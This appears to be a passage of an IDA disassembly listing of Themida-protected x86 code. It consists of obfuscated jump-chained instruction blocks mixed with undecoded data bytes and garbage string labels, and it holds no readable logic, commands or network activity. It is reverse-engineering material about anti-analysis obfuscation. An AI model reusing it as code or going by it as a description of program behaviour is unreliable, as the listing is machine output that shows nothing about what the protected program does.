		dd 59C83100h, 3358C601h, 7E92434h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58BDFB:				; CODE XREF: Themida_:00589735j
		pop	ecx
		mov	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58FCAB
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 55000000h, 0FFB6F8E9h, 0E8B951FFh, 893B7E1Ah, 5C3159CBh
		dd 0C7E90424h
		db 5Bh,	2 dup(0)
byte_58BE2B	db 0FFh			; DATA XREF: Themida_:00585A4Co
		dd 48B2434h, 59ED6824h,	0C8E90000h, 0E900000Ah,	0FFFF9E83h
dword_58BE40	dd 240C8B66h, 3DB6E956h, 4890000h, 24048B24h, 0E9E08950h
					; DATA XREF: Themida_:00585B34o
		dd 0FFFFCF2Ah
; ---------------------------------------------------------------------------


loc_58BE58:				; CODE XREF: Themida_:005864D6j
		pop	ebx
		add	edi, ecx
		pop	ecx
		add	ebp, edi
		pop	edi
		push	edi
		jmp	loc_5911CC
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 8904EC83h, 58542404h, 9D86855h, 1C890000h, 0FF32E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BE7E:				; CODE XREF: Themida_:0058AD43j
		push	1F9Dh
		mov	[esp], ebx
		mov	ebx, 78D54B19h
		push	esi
		mov	esi, 29DD524Ch
		xor	esi, 93E5704h
		neg	esi
		jmp	loc_58BABA
; ---------------------------------------------------------------------------


loc_58BE9E:				; CODE XREF: Themida_:0058F3FAj
		pop	ecx
		dec	edi
		add	edi, 31286FA1h
		or	ecx, edi
		pop	edi
		xor	ecx, 273C664Bh
		or	esi, ecx
		jmp	loc_58C6AE
; ---------------------------------------------------------------------------


loc_58BEB6:				; CODE XREF: Themida_:0058DE8Dj
		not	ebp
		jmp	loc_58D411
; ---------------------------------------------------------------------------
aQs?		db '¶ßQéµ?',0
		dd 5DEF0100h, 8904EC83h, 0B8502434h, 230412A6h,	0FBED5EBEh
		dd 58C601DCh, 875EF701h, 2CE9243Ch, 81FFFFE5h, 0AAB293EAh
		dd 2276E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58BEF2:				; CODE XREF: Themida_:00587E69j
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 2
		jmp	loc_5863CC
; ---------------------------------------------------------------------------
		dd 0E9F38853h, 0FFFFCD18h, 0E95BD831h, 0FFFFE804h
; ---------------------------------------------------------------------------


loc_58BF18:				; CODE XREF: Themida_:005862EBj
		pop	eax
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_588813
; ---------------------------------------------------------------------------
aEa		db '¾¥a`',0
		db 46h
		dd 8105E6C1h, 0DA557FF6h, 24EAE977h, 0EA010000h, 432BE957h
		dd 895C0000h, 0A5E92404h, 58FFFFECh, 7EB868h, 24048900h
		dd 42474FFh, 24048F58h,	0FF9D5EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58BF65:				; CODE XREF: Themida_:0058BACAj
		xor	ecx, 32BB72B0h
		jmp	loc_58B4EA
; ---------------------------------------------------------------------------
aI4SS81iU3vWUsu	db '‰4$S»™:81‰Þ[U½3V^W!îéu',7,0
		db 0
; ---------------------------------------------------------------------------


loc_58BF89:				; CODE XREF: Themida_:0058B80Ej
		pop	ebp
		add	ebp, 4
		jmp	loc_585D9A
; ---------------------------------------------------------------------------


loc_58BF95:				; CODE XREF: Themida_:0058D6D1j
		mov	edi, 945FBF57h
		sub	edi, eax
		jmp	loc_590848
; ---------------------------------------------------------------------------
		db 80h,	0F2h, 80h
		dd 885AD528h, 4B0459EBh, 5251D800h, 2CE994B6h, 5EFFFFA1h
		dd 4C681h, 0E9570000h, 2786h, 2434FF5Dh, 3F3AE9h, 65962500h
		dd 0BE563747h, 660E3737h, 565EE9h
		db 0
; ---------------------------------------------------------------------------


loc_58BFDD:				; CODE XREF: Themida_:0058D272j
		shr	ecx, 3
		sub	ecx, 0B1DEFAAh
		jmp	loc_588684
; ---------------------------------------------------------------------------
		db 0F7h
aHT		db 'Õh¸T',0
		align 2
		dw 0AAE9h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58BFF7:				; CODE XREF: Themida_:0058F402j
		mov	edi, 691F38B0h
		jmp	loc_58FE90
; ---------------------------------------------------------------------------


loc_58C001:				; CODE XREF: Themida_:0058E98Ej
		pop	eax
		push	ecx
		mov	ecx, 136C69AAh
		push	4747h
		mov	[esp], eax
		mov	eax, 5DF82EC3h
		add	ecx, 7B7C6722h
		jmp	loc_58F68A
; ---------------------------------------------------------------------------


loc_58C020:				; CODE XREF: Themida_:0058ABDBj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58FCB5
; ---------------------------------------------------------------------------


loc_58C02B:				; CODE XREF: Themida_:00587C1Cj
		push	dword ptr [esp]
		jmp	loc_5888C7
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0B45053D9h, 0E9E4D0F7h, 0FFFFE223h
; ---------------------------------------------------------------------------


loc_58C040:				; CODE XREF: Themida_:00587FAAj
		push	5763h
		mov	[esp], ebp
		push	eax
		jmp	loc_58BBFC
; ---------------------------------------------------------------------------
		dw 70E9h
		dd 89FFFF9Ch, 1B5240Ch,	0E907E5C0h, 0FFFFAFC5h
; ---------------------------------------------------------------------------


loc_58C060:				; CODE XREF: Themida_:0058E21Dj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_589406
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 4EA57E55h, 0EDF8E955h
		db 2 dup(0FFh)
word_58C07A	dw 30ACh		; DATA XREF: Themida_:00585BA4o
		dd 4EC83D8h, 0B6241489h, 281E2C17h, 0B35366F0h,	0EED5E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C092:				; CODE XREF: Themida_:00591890j
		mov	edi, eax
		mov	eax, [esp]
		jmp	loc_589525
; ---------------------------------------------------------------------------
		dd 6624248Bh, 2404AB0Fh, 9C19E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C0AA:				; CODE XREF: Themida_:005916C7j
		mov	edx, [esp]
		push	edx
		jmp	loc_591BF0
; ---------------------------------------------------------------------------
byte_58C0B3	db 66h			; DATA XREF: Themida_:00585BBCo
		dd 56240C8Bh, 0FFB080E9h, 0BD555BFFh, 2, 875DE801h, 248B2404h
		dd 4F616824h, 0C890000h, 4A83E924h, 0E6890000h,	4C681h
		dd 0BA520000h, 3B360177h, 50F28142h, 0D15F980Eh, 7FC281EAh
		dd 81227811h, 0CF190FEAh, 5AD62954h, 1BF0E9h, 77F38100h
		dd 55CE4AEh, 4034389Dh,	0BE56D801h, 62481811h, 0AE6814Eh
		dd 0F7263D2Bh, 3EEC1DEh, 3F76E94Eh, 0CE800000h,	0E3895337h
		dd 13C68h, 24348900h, 4BEh, 5EF30100h, 3B3CE9h,	242C8900h
		dd 0C581E589h, 4, 2D568h, 243C8900h, 0FFE691E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C15D:				; CODE XREF: Themida_:00589B6Bj
		add	edx, 4
		push	44ACh
		mov	[esp], esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_591C17
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E99CC138h, 0FFFF9B43h, 0B7535B66h, 0FFEF8099h, 5003E7C0h
		dd 0E95360B4h, 1527h, 148BD301h, 4C48124h, 33000000h, 0A2E9241Ch
		db 3Ah,	2 dup(0)
byte_58C1A7	db 0FFh			; DATA XREF: Themida_:00585BF8o
		dd 669D1C77h, 1CD36659h, 0DE99C24h, 8100002Ah, 7B6010E9h
		dd 6AF18154h, 1D0DCBAh,	0C58159CDh, 4, 8B242C87h, 0E92424h
		dd 89000056h, 4C381E3h,	81000000h, 4C3h, 241C8700h, 56575D5Ch
		dd 18302668h, 24B9E93Eh, 4890000h, 0E9CC8824h, 0FFFFCE65h
dword_58C200	dd 6824048Bh, 35F6h, 0E9240C89h, 0FFFFF51Ah, 0D6868h, 0FD56E900h
					; DATA XREF: Themida_:00585BC8o
		dd 0E780FFFFh, 0B0CF8083h, 12E9DFF6h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C227:				; CODE XREF: Themida_:0058A23Cj
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		push	eax
		mov	eax, 66725480h
		mov	ebp, eax
		jmp	loc_58F5DD
; ---------------------------------------------------------------------------
		dd 0B951E5D1h, 72BA028Ch, 58DAE956h, 0C1800000h, 59ECE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C252:				; CODE XREF: Themida_:0058E50Aj
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_58EAAE
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0CC707CBFh, 0D55DE91Fh, 0B050FFFFh, 4973403h, 0F91AE932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C27E:				; CODE XREF: Themida_:0058A341j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_58F383
; ---------------------------------------------------------------------------


loc_58C28C:				; CODE XREF: Themida_:00586CC0j
		mov	dx, [esp]
		add	esp, 2
		pop	edx
		sub	bl, al
		jmp	loc_58641B
; ---------------------------------------------------------------------------
		dw 0CE01h
		dd 36FCC681h, 0C8B30D2h, 4C48324h, 4EC81h, 4890000h, 3160B824h
		dd 6E25161Bh, 0E955D159h, 0FFFFF523h, 2434FF5Ch, 3A0C6859h
		dd 35E90000h, 80FFFFB6h, 0EF80BFCFh, 0CF780FFh,	366A6866h
		dd 240C8966h, 0FFF268E9h, 0C3315FFFh, 24148B66h, 0E9E08950h
		dd 0FFFFBB2Ch, 623068h,	242C8900h, 0C5815D54h, 4, 2B850h
		dd 0C5010000h, 74FF5558h, 2C8B0424h, 780C6824h,	34890000h
		dd 81E68924h, 4C6h, 4B85000h, 0E9000000h, 0FFFFDBDAh, 5C240487h
		dd 0E99CC884h, 0FFFF9983h, 240C8B66h, 610F68h, 24348900h
		dd 24348B54h, 5104C483h, 4B9h, 0FCEE8100h, 0E930D236h
		dd 0FFFFFF3Ah, 9FE9F031h
		db 0CDh, 2 dup(0FFh)
byte_58C36B	db 66h			; DATA XREF: Themida_:00585A8Co
		dd 5724048Bh, 0E9E08950h, 0FFFFCE85h, 6257E981h, 0C1817510h
		dd 0AF04BA17h, 159CD89h, 0BD555DEFh, 4,	637E9h,	475B6800h
		dd 1C890000h, 81E38924h, 4C3h, 68E95100h, 2DFFFF9Ah, 17275FE6h
		dd 0E605D801h, 0E917275Fh, 0F4Eh
dword_58C3BC	dd 55D831ADh, 0A95D2EBDh, 0EEBF5759h, 3152C508h, 3AE95FFDh
					; DATA XREF: Themida_:00585B9Co
		dd 8BFFFFBDh, 0E951243Ch, 4747h, 0FFC48059h, 0FFDCFAE9h
		dd 89515AFFh, 4C181E1h,	0E9000000h, 3A06h, 8958C601h, 24348BF1h
		dd 4C481h, 0CF310000h, 9B52E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C40A:				; CODE XREF: Themida_:0058FD74j
		add	esp, 4
		jmp	loc_589FC7
; ---------------------------------------------------------------------------
		db 89h,	0C6h, 58h
		dd 0FFEF66E9h
		db 0FFh
byte_58C41D	db 0ACh, 52h, 0E9h	; DATA XREF: Themida_:00585C04o
		dd 0FFFFD9C0h, 4C381h, 0EDE90000h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C42F:				; CODE XREF: Themida_:00587777j
		push	68D9h
		mov	[esp], edx
		mov	edx, 4
		sub	ebp, 3A6B0133h
		sub	ebp, 18BA2CAAh
		add	ebp, edx
		jmp	loc_58B59E
; ---------------------------------------------------------------------------
		db 0BAh
		dd 7E1A70E3h, 3382CA81h, 0DAF76903h, 0FF9C45E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C461:				; CODE XREF: Themida_:0058E5E4j
		mov	ecx, 4
		mov	ebx, ecx
		pop	ecx
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58726A
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0FDh
		dd 5618DE32h, 343402BEh, 15F68165h, 5513097Fh, 4C5DD7BDh
		dd 0E5814D73h, 3F2C3CB6h, 0F581E5D1h, 701EC073h, 2C8BEE29h
		dd 4C48124h, 29000000h,	0CD815EF5h, 59540919h, 3220ED81h
		dd 0EB8189D0h, 0CBD011Ch, 15E9EB29h, 58FFFFD3h,	56585450h
		dd 0FFE421E9h, 4C181FFh, 83000000h, 0C8704C1h, 0DCE95C24h
		dd 81FFFF97h, 4ECh, 241C8900h, 5B240CFFh, 5101EB83h, 0FFEAF8E9h
		dd 0DDF74DFFh, 0FFC2DBE9h, 56EDD1FFh, 484BC268h, 0F5315E43h
		dd 5629E9h, 97A9E900h, 0F004FFFFh, 18B75366h, 4261E951h
		dd 835F0000h, 38E904ECh, 81000046h, 0FD0574C7h,	5FFB8904h
		dd 1C8BDF01h, 4C48124h,	52000000h, 4059E9BAh, 44F28134h
		dd 0E92CF165h, 0FFFFAD87h, 74FF515Dh, 0E9590424h, 643h
		dd 0F6B0B151h, 5E1C0D1h, 0FF9ADAE9h, 59EF28FFh,	0E95BFA28h
		dd 2CE2h, 4F09F681h, 0E94E4CCFh, 0FFFFA3BAh, 39E9525Dh
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58C58B:				; CODE XREF: Themida_:0058C8BCj
		pop	edi
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_587EE5
; ---------------------------------------------------------------------------
		dd 0D7F68h, 24148900h, 0FFC485E9h, 21DFBAFFh, 0D5312703h
		dd 5324148Bh, 0C381E389h, 4, 0FFD33FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C5B9:				; CODE XREF: Themida_:0058E9B2j
		add	esi, 18244295h
		sub	esi, edi
		sub	esi, 18244295h
		mov	edi, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_587902
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, 0C066391h
		add	[esp+4], esi
		pop	esi
		jmp	loc_58874E
; ---------------------------------------------------------------------------
		align 2
		dw 0E9F8h
		dd 0FFFFFB78h
; ---------------------------------------------------------------------------


loc_58C608:				; CODE XREF: Themida_:0058F294j
		sub	esp, 4
		mov	[esp], ebx
		push	640Dh
		jmp	loc_58D1B0
; ---------------------------------------------------------------------------


loc_58C618:				; CODE XREF: Themida_:0058A890j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	1DBEh
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_590580
; ---------------------------------------------------------------------------
byte_58C63B	db 66h			; DATA XREF: Themida_:00585B94o
		dd 68240C8Bh, 44CDh, 0E9242C89h, 0FFFFB52Bh
dword_58C64C	dd 24048B66h, 68E78957h, 2671h,	0BE243489h, 76333977h
					; DATA XREF: Themida_:00585A84o
		dd 1C681h, 0EE810000h, 5D6912B2h, 6889BA52h, 0CA814111h
		dd 3CD029C8h, 0FFB149E9h, 241489FFh, 0FFEE01E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C685:				; CODE XREF: Themida_:005907DEj
		xor	[esp], eax
		jmp	loc_590C54
; ---------------------------------------------------------------------------
		db 1, 0FBh, 0E9h
		dd 311Ch, 0E903ECC0h, 0FFFFDB3Fh, 9CE9E589h, 59000038h
		dd 2474FF57h, 2022E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58C6AE:				; CODE XREF: Themida_:0058BEB1j
		pop	ecx
		add	esi, 5EAA09FFh
		push	ebp
		mov	ebp, 39462607h
		shl	ebp, 5
		jmp	loc_59186F
; ---------------------------------------------------------------------------


loc_58C6C3:				; CODE XREF: Themida_:00590D7Aj
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		jmp	loc_589B6A
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 4D010F7Ch, 875DEE01h, 0DEE92434h, 8300002Dh,	148704C2h
		dd 0A442E924h, 0E95DFFFFh, 0FFFFFFEFh
dword_58C6F4	dd 4242CACh, 0DB43E922h, 0E95DFFFFh, 0FFFFB8D7h, 45E9F801h
					; DATA XREF: Themida_:00585A40o
		db 0DCh, 2 dup(0FFh)
byte_58C70B	db 66h			; DATA XREF: Themida_:005859ECo
		dd 0E924248Bh, 0FFFF95AFh, 8704EB83h, 97E9241Ch, 89FFFFC9h
		dd 0E189240Ch, 2B84B850h, 0A1357944h, 0F70A0343h, 452CE9D0h
		db 2 dup(0)
word_58C736	dw 77FFh		; DATA XREF: Themida_:00585AD0o
		dd 58669D1Ch, 24041166h, 957DE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C746:				; CODE XREF: Themida_:0058D020j
		mov	esi, 4
		add	ebp, esi
		jmp	loc_5868AA
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFFB88Eh
; ---------------------------------------------------------------------------


loc_58C758:				; CODE XREF: Themida_:0058F497j
		push	4352h
		jmp	loc_586E6B
; ---------------------------------------------------------------------------
		dw 0E2C1h
		dd 81DAF706h, 2FD034F2h, 0A0C7814Ah, 1520E54h, 0A0EF81D7h
		dd 5A520E54h, 0B951F729h, 3F7D395Ah, 8141D9F7h,	0DEF593F1h
		dd 59CF2991h, 5324348Bh, 0BF575B54h, 4,	565FFB01h, 4BEh
		dd 5EF30100h, 5C241C87h, 9511E9C3h, 0EB81FFFFh,	44BE44CCh
		dd 0E9008F66h, 0FFFFF56Ch
; ---------------------------------------------------------------------------


loc_58C7C0:				; CODE XREF: Themida_:0058944Fj
		mov	[esp], edi
		push	esp
		jmp	loc_58A665
; ---------------------------------------------------------------------------
aIIZs		db 'ˆÂˆ×Zé[',0Bh,0
		db 0
; ---------------------------------------------------------------------------


loc_58C7D3:				; CODE XREF: Themida_:0058D137j
		mov	edx, 4
		jmp	loc_58A1AA
; ---------------------------------------------------------------------------
		db 1, 0F9h, 0E9h
		dd 0FFFFAB76h
; ---------------------------------------------------------------------------


loc_58C7E4:				; CODE XREF: Themida_:00590904j
		pop	ecx
		push	4C79h
		mov	[esp], ebp
		mov	ebp, 1869671Ch
		jmp	loc_58D237
; ---------------------------------------------------------------------------
		db 31h
		dd 7CBA52D8h, 140504Eh,	2434FFD0h, 0E92434FFh, 31CAh, 742CB52Ch
		dd 0B652F028h, 0C0C6FEAFh, 0D6F607EEh, 0CF73E951h, 0CF01FFFFh
		dd 71FBC781h, 74E93E0Dh, 0BBFFFFFEh, 2ECC7BBAh,	5C8E381h
		dd 0E38138E9h, 3B7048B2h, 726BC381h, 0C5E99966h, 68FFFFF6h
		dd 36FAh, 0E9240489h, 0FFFFA23Ah, 4BDh,	5DEE0100h, 8B243487h
		dd 58E92424h
		db 94h,	2 dup(0FFh)
byte_58C86B	db 0ADh			; DATA XREF: Themida_:00585C68o
		dd 4EC81h, 0CFE90000h, 5200002Eh, 68h, 2434FF00h, 5A2434FFh
		dd 4C481h, 24E90000h, 89FFFFC6h, 0BDBD242Ch, 8959AA42h
		dd 102D5DE9h, 0E958C14Dh, 3D3Bh, 0D3E9DD01h, 83000003h
		dd 0C8904ECh, 0E870E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C8B6:				; CODE XREF: Themida_:0058E7CEj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58C58B
; ---------------------------------------------------------------------------
		db 89h,	0D1h, 5Ah
		dd 6859CF21h, 1E1Dh, 0E9240489h, 0FFFFDA72h, 5558C189h
		dd 0FFEFE6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58C8DD:				; CODE XREF: Themida_:00587836j
		add	esp, 4
		push	dword ptr [ebx]
		add	dword ptr [esp], 719C7337h
		jmp	loc_58F13B
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 2
		dd 24148966h, 0F000B4B6h, 60E95A66h, 89000052h,	5954240Ch
		dd 4BA52h, 0D1010000h, 17D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_58C915:				; CODE XREF: Themida_:0058DD4Cj
		or	dl, 71h
		add	dl, 4
		jmp	loc_58F11E
; ---------------------------------------------------------------------------
		dd 0B169B3BFh, 0AEE78151h, 4F19667Fh, 0FFF127E9h, 2434FFFFh
		dd 0FFC8B5E9h, 0CB866FFh, 0C35664Ch, 0E8C16614h, 0A62D6602h
		dd 4636E962h, 4BB0000h,	57000000h, 1971B1BFh, 0FFE78120h
		dd 81281C25h, 0B049FAF7h, 1AC7814Fh, 811BC81Eh,	0AC876FC7h
		dd 0E9FE019Dh, 3DF3h, 33240431h, 0FE5C2404h, 0E99C2404h
		dd 0FFFFF4B3h, 4C481h, 0C2810000h, 9165E55h, 0EA81EA01h
		dd 9165E55h, 81242C8Bh,	4C4h, 24148700h, 2404005Ch, 9311E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58C9B2:				; CODE XREF: Themida_:0058D38Fj
		mov	edi, 1DD92961h
		or	edi, 0DA74DAAh
		jmp	loc_59085A
; ---------------------------------------------------------------------------
word_58C9C2	dw 8B66h		; DATA XREF: Themida_:005859F0o
		dd 0E9512404h, 4204h, 4070C781h, 15E91AAEh, 0FEFFFFADh
		dd 1AC380C3h, 0E95BDE20h, 2919h, 11C7BD55h, 0E950626Ah
		dd 1244h, 35BA5255h, 0F75A8433h, 8EAC1D2h, 3EAC14Ah, 5087C281h
		dd 0D589FFEBh, 5DE9895Ah, 0BB53D101h, 0
		dd 6E48EB81h, 0CB014179h, 6E48C381h, 3884179h, 2434FF5Bh
		dd 0E9240C8Bh, 0FFFFBC7Bh
; ---------------------------------------------------------------------------


loc_58CA30:				; CODE XREF: Themida_:005917D2j
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_58F338
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 74E9DD01h, 0FF00004Eh, 59042474h,	8B24048Fh, 4312424h
		dd 60E99C24h, 81FFFF92h, 4ECh, 243C8900h, 2BFh,	38C38100h
		dd 0E9247563h, 0FFFFB512h
; ---------------------------------------------------------------------------


loc_58CA7C:				; CODE XREF: Themida_:0058BD22j
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4856232Eh
		sub	ecx, 41963C9Eh
		add	edi, ecx
		pop	ecx
		xor	eax, edi
		pop	edi
		push	esi
		mov	esi, 8C06CC3h
		jmp	loc_5865AD
; ---------------------------------------------------------------------------
		dd 0E9243C8Bh, 0FFFFA42Eh
; ---------------------------------------------------------------------------


loc_58CAA4:				; CODE XREF: Themida_:0058E745j
		mov	[esp], esi
		jmp	loc_58FAB0
; ---------------------------------------------------------------------------
		dd 4240483h, 4C5815Dh, 68000000h, 134h,	52240489h, 268h
		dd 0D0895A00h, 425EE9h,	40500h,	0C0830000h, 24048704h
		dd 89B4505Ch, 5104E4C0h, 0B6E934B1h, 81000047h,	4C3h, 4EB8300h
		dd 5C241C87h, 56242C89h, 226902BEh, 4253BD70h, 814D6338h
		dd 0C3D11FF5h, 3EBEE98Bh, 248B0000h, 53716824h,	0C890000h
		dd 0E9595424h, 0FFFFF9B5h, 8103E1C1h, 0B2BD34F1h, 0E9CE8992h
		dd 4575h, 66C0B60Fh, 0E987048Fh, 0FFFF9187h
; ---------------------------------------------------------------------------


loc_58CB3C:				; CODE XREF: Themida_:0058D9D2j
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5864AD
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 243C8700h, 3362E9h, 24148B00h,	4C481h,	22680000h
		dd 8900007Ah, 5E542434h, 8904EC83h, 31E92404h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CB73:				; CODE XREF: Themida_:0058D869j
		mov	[esp], ebp
		mov	ebp, 7B03380Fh
		xor	ebp, 7B03380Bh
		jmp	loc_5907D8
; ---------------------------------------------------------------------------
		dw 525Bh
		dd 516673B2h, 0E96FB050h, 0FFFFCBE1h, 5366D1F6h, 0F928B3B7h
		dd 89E95B66h, 8F000026h, 815C2404h, 4C4h, 18136800h, 2C890000h
		dd 49685224h, 0E964BC1Ah, 0FFFFD0B5h
dword_58CBC0	dd 582434FFh, 0CA5E9h, 68D83100h, 4A9h,	68243C89h, 432C00A1h
					; DATA XREF: Themida_:00585ABCo
		dd 0E950475Fh, 0FFFFBBEBh
; ---------------------------------------------------------------------------


loc_58CBE0:				; CODE XREF: Themida_:00591B1Fj
		mov	ebx, 8C10FCEh
		sub	ebx, 1
		shl	ebx, 3
		jmp	loc_58AE1A
; ---------------------------------------------------------------------------


loc_58CBF3:				; CODE XREF: Themida_:00586F3Cj
		pop	ebx
		push	eax
		jmp	loc_587168
; ---------------------------------------------------------------------------


loc_58CBFA:				; CODE XREF: Themida_:00589B57j
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_58DCDB
; ---------------------------------------------------------------------------
		dd 8B1C4721h, 89502404h, 405E0h, 4050000h, 87000000h, 0D9E92404h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58CC27:				; CODE XREF: Themida_:00586931j
		push	ecx
		mov	ecx, 9C228C46h
		add	edx, 0D4D1BE5h
		sub	edx, ecx
		sub	edx, 0D4D1BE5h
		pop	ecx
		mov	edi, edx
		pop	edx
		xor	edi, 1199205Bh
		push	edi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_591547
; ---------------------------------------------------------------------------
a_wsya		db '_WéYA',0
		db 0
; ---------------------------------------------------------------------------


loc_58CC5B:				; CODE XREF: Themida_:0058D9B6j
		inc	esi
		shr	esi, 3
		push	0F86h
		mov	[esp], ecx
		mov	ecx, 7B732941h
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, esi
		pop	esi
		add	ebp, edx
		jmp	loc_58B25E
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4C37318Dh, 1C8BDD29h, 4C48324h, 2C5835Bh, 2474FF55h
		dd 48F5D04h, 24248B24h,	24048B66h, 81E18951h, 4C1h, 0EC835700h
		dd 24148904h, 5BF76851h, 81595AC4h, 0C45BF5E9h,	481515Ah
		dd 0E213D924h, 0EA815A41h, 41E213D9h, 0B2E9E959h, 0F745FFFFh
		dd 55D5F7D5h, 0E92404FFh, 0FFFFD5B9h, 0FF8FDEE9h, 0B05066FFh
		dd 66C328BCh, 0C8B6658h, 2C48124h, 0F000000h, 8B66C0B6h
		dd 12682414h, 89000038h, 8B542414h, 0C4832414h,	4C28104h
		dd 50000000h, 782D6851h, 41595F42h, 0FFC910E9h,	36D7B9FFh
		dd 0CB8911A6h, 91EB8159h, 81764954h, 0D2BDEDEBh, 5BDE8967h
		dd 7FE95251h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CD3F:				; CODE XREF: Themida_:00591886j
		xor	ebp, 3D6800BDh
		jmp	loc_58E1DD
; ---------------------------------------------------------------------------
		dw 0CB29h
		dd 1005E950h, 0E3890000h, 4C381h, 0C3830000h, 241C8704h
		dd 8124248Bh, 892FD5C3h, 52C30106h, 892FD5BAh, 5AD32906h
		dd 0FFFA39E9h, 4C481FFh, 0E9000000h, 92Ah, 53243C8Bh, 0C381E389h
		dd 4, 0FFA201E9h, 0B5045AFFh, 24148B66h, 0E9E68956h, 0FFFFEAC8h
		dd 0C2805966h, 5AD02852h, 4EC81h, 14890000h, 0F103E924h
		dd 0C483FFFFh, 27906804h, 34890000h, 3DBB5324h,	0E93BD70Bh
		dd 0FFFFC3F6h, 7984C381h, 7BE953DDh, 53FFFFD3h,	1A9EE9h
		db 0
byte_58CDE1	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00585B64o
		dd 0E9545358h, 645h, 147AA905h,	5BA90557h, 0F001123Dh
		dd 3D5BA92Dh, 29A4E912h, 0E9510000h, 4598h, 3E27C281h
		dd 0EAC11FAEh, 1EBD5503h, 2953DD0Fh, 0BE565DEAh, 5DAC3FB3h
		dd 0DEBE681h, 0EEC17ECEh, 0DF68106h, 31B43565h,	0D0015EF2h
		dd 0F571E95Ah, 0EC81FFFFh, 2, 240C8966h, 0E83080B5h, 0FFAC24E9h
		dd 50CDFEFFh, 43C7E9h, 5E08900h, 4, 8704C083h, 835C2404h
		dd 48904ECh, 3E25B824h,	0DF051CDBh, 81E324C1h, 0B17327EEh
		dd 0E9C60118h, 0FFFF9C7Ch
; ---------------------------------------------------------------------------


loc_58CE80:				; CODE XREF: Themida_:005917A7j
		push	edi
		jmp	loc_589D0C
; ---------------------------------------------------------------------------
		dw 0D35Ch
		dd 34E92424h, 5FFFF8Eh,	58544318h, 0EDEBC35h, 4EC83D4h
		dd 89242C89h, 0E9EF89C5h, 0FFFFAC16h, 2C61E957h, 0ED800000h
		dd 4EC580C4h, 0EF580h, 240C8BEBh, 0E904C483h, 67Ah, 0BAE9C689h
		dd 37h,	95C780EFh, 0E9536659h, 0FFFFC184h, 14F65366h, 0E95B6624h
		dd 370Bh
dword_58CEE4	dd 42474FFh, 582434FFh,	0FFCF68E9h		db 0FFh
